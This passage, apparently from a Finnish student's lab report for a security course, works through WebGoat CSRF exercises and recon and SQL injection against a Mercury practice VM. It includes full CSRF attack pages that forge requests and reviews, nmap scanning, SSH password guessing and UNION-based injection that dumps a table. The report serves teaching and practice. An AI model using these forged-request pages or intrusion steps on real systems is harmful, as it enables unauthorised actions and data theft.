, mutta jostain syystä skippasin sen kokeilemisen täysin. Omalle sivulle tulee lisätä kopio tehtäväsivulla olevasta lomakkeesta ja vaihtaa muokata kutsuttavan endpointin syntaksi oikeaksi.
// $ cat /var/www/html/index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>foo</title>
</head>
<body>
<p>
<form id="basic-csrf-get" accept-charset="UNKNOWN" method="POST"
name="form1" target="_blank" successcallback="" action="http://localhost:8080/WebGoat/csrf/basic-get-flag">
<input name="csrf" type="hidden" value="false">
<input type="submit" name="submit">
</form>
</p>
</body>
</html>
4 “Post a review on someone else’s behalf”
Tehtävässä pitää esiintyä sisäänkirjautuneena käyttäjänä ja tehdä arvostelu tämän nimissä. Avasin WebGoatissa Inspectorin, etsin kohdelomakkeen ja kopioin sen sisällön omalle sivulleni.
// $ cat /var/www/html/index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>foo</title>
</head>
<body>
<form id="csrf-review" class="attack-form" accept-charset="UNKNOWN" method="POST" name="review-form" successcallback=""
action="http://localhost:8080/WebGoat/csrf/review">
<input id="reviewText" class="form-control" name="reviewText" placeholder="Add a Review" type="text">
<input id="reviewStars class="form-control" name="stars" type="text">
<input type="hidden" name="validateReq" value="2aa14227b9a13d0bede0388a7fba9aa9">
<input type="submit" name="submit" value="Submit review">
</form>
</body>
</html>
b) Attakin alatekniikat. Demonstroi kaksi (2) alatekniikkaa (subtechnique) ATT&CK kehikosta. Tässä pitää siis käyttää näitä käytännössä johonkin harjoitusmaaliin. Voit käyttää haluamiasi valmiita työkaluja tai koodata / skriptata itse. Voit valita valmiin harjoitusmaalin tai tehdä sen itse. Muista, että myös tiedustelussa pitää noudattaa lakia, etiikkaa, rajauksia (scope) ja hyviä tapoja.
Active Scanning: Scanning IP Blocks
Asensin uuden Mercury-maalikoneen. Tein verkkoon ping sweepin -sn disable port scan
ja löysin uuden koneen.
Active Scanning: Vulnerability Scanning
Porttiskannasin avoimet portit ja niiden versionumerot ja OS-version (-A
). Portissa :8080
pyörii Apachen mod_wsgi moduulilla Python web-applikaatio.
Kokeilin kepillä jäätä ja etsin login-sivua. Sen sijaan palvelin palautti tiedon testiympäristössä olevasta applikaatiosta ja /mercuryfacts
endpointista.
Endpoint antoi painikkeen, jolla voi ladata sattumanvaraisen faktan ja kehitys todo-listan.
Selvästi kohteena on users
taulu. Turvallisempi tapa olisi käyttää ORM-tekniikkaa, joka toimii turvallisena välikätenä käyttäjäsyötteen ja tietokannan välillä. TODO-listan perusteella sovellus käyttää raakoja SQL-komentoja vailla minkäänlaista hygieniaa.
Ilmeisesti tietokannasta haettava mercuryfact noudetaan tietokannasta URLiin syötettävän id-numeron perusteella.
Kokeilin kepillä jäätä ja testasin tuloksetta password
, webmaster
, 1234
ja qwerty
.
$ ssh webmaster@192.168.56.104
Oikea syntaksi ei arvailuiden ja tovin googlailun perusteella tuottanut tulosta. Apua löysin täältä ja kanssakurssilaisen Juuson viimeviikkoisesta raportista. UNION
komennolla voidaan yhdistää samaan tulostauluun SELECT
komentoja useammasta eri taulusta.
Testasin toimiviaa syntaksia facts
tauluun ja sain tulostettua sen kokonaisuudessaan. Nyt kun oikea syntaksi löytyi voin jatkaa pääsyä kohti users
taulua.
Murtautuminen jatkuu myöhemmin